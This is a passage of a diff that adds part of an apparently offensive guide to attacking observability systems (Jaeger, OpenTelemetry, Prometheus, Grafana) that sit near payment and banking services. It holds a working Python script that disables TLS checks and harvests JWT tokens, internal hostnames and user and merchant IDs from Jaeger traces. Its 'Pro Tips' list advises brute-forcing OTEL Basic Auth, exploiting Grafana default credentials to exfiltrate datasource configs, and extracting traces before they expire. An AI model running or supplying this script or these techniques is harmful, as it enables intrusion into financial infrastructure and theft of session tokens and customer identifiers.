446
|
+
- External API calls (payment gateways, banking APIs)
|
|
447
|
+
"""
|
|
448
|
+
import urllib.request, ssl, json
|
|
449
|
+
|
|
450
|
+
ctx = ssl.create_default_context()
|
|
451
|
+
ctx.check_hostname = False
|
|
452
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
453
|
+
|
|
454
|
+
def extract_jaeger_intelligence(jaeger_base):
|
|
455
|
+
all_intel = {"services": [], "hosts": set(), "tokens": [], "user_ids": set()}
|
|
456
|
+
|
|
457
|
+
# Get all services
|
|
458
|
+
req = urllib.request.Request(f"{jaeger_base}/api/services")
|
|
459
|
+
with urllib.request.urlopen(req, timeout=10, context=ctx) as r:
|
|
460
|
+
services = json.loads(r.read()).get("data", [])
|
|
461
|
+
all_intel["services"] = services
|
|
462
|
+
print(f"Services: {services}")
|
|
463
|
+
|
|
464
|
+
# Get traces for each service, extract sensitive data
|
|
465
|
+
import re
|
|
466
|
+
for service in services[:5]:
|
|
467
|
+
req = urllib.request.Request(
|
|
468
|
+
f"{jaeger_base}/api/traces?service={service}&limit=10&lookback=1h"
|
|
469
|
+
)
|
|
470
|
+
try:
|
|
471
|
+
with urllib.request.urlopen(req, timeout=10, context=ctx) as r:
|
|
472
|
+
traces = json.loads(r.read()).get("data", [])
|
|
473
|
+
for trace in traces:
|
|
474
|
+
for span in trace.get("spans", []):
|
|
475
|
+
for tag in span.get("tags", []):
|
|
476
|
+
k, v = tag.get("key", ""), str(tag.get("value", ""))
|
|
477
|
+
# JWT tokens in traces
|
|
478
|
+
if re.match(r'^[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+$', v):
|
|
479
|
+
all_intel["tokens"].append({"key": k, "jwt": v[:50] + "..."})
|
|
480
|
+
# Internal hostnames
|
|
481
|
+
if re.match(r'^[a-z][a-z0-9-]*\.[a-z][a-z0-9.-]+\.[a-z]{2,}$', v):
|
|
482
|
+
all_intel["hosts"].add(v)
|
|
483
|
+
# User/merchant IDs
|
|
484
|
+
if k in ("user.id", "merchant.id", "customer.id", "account.id"):
|
|
485
|
+
all_intel["user_ids"].add(v)
|
|
486
|
+
except Exception:
|
|
487
|
+
pass
|
|
488
|
+
|
|
489
|
+
return all_intel
|
|
490
|
+
```
|
|
491
|
+
|
|
492
|
+
---
|
|
493
|
+
|
|
494
|
+
## Pro Tips
|
|
495
|
+
|
|
496
|
+
1. **Hex-encoded OTEL subdomains** — When you see a hex-only subdomain like `6f74656c-http`, decode it. OTEL is `6f74656c`. This is not security, it's just obfuscation.
|
|
497
|
+
2. **OTEL error differential** — `"no basic auth provided"` vs `"invalid credentials"` is a critical signal: the service is live and accepting connections. This alone is a reportable finding.
|
|
498
|
+
3. **No rate limiting on OTEL Basic Auth** — OTEL collectors rarely implement login rate limiting. This makes them ideal brute-force targets.
|
|
499
|
+
4. **Prometheus scrape targets** — `/api/v1/targets` in Prometheus lists ALL services being scraped, including internal ones with their full URLs and labels.
|
|
500
|
+
5. **Grafana datasource credentials** — Grafana stores database/Prometheus/Elasticsearch connection strings in its datasource API. If default creds work, exfiltrate all datasource configs.
|
|
501
|
+
6. **Trace data in Jaeger is time-limited** — Most deployments keep 7 days of traces. Prioritize extraction immediately after discovery.
|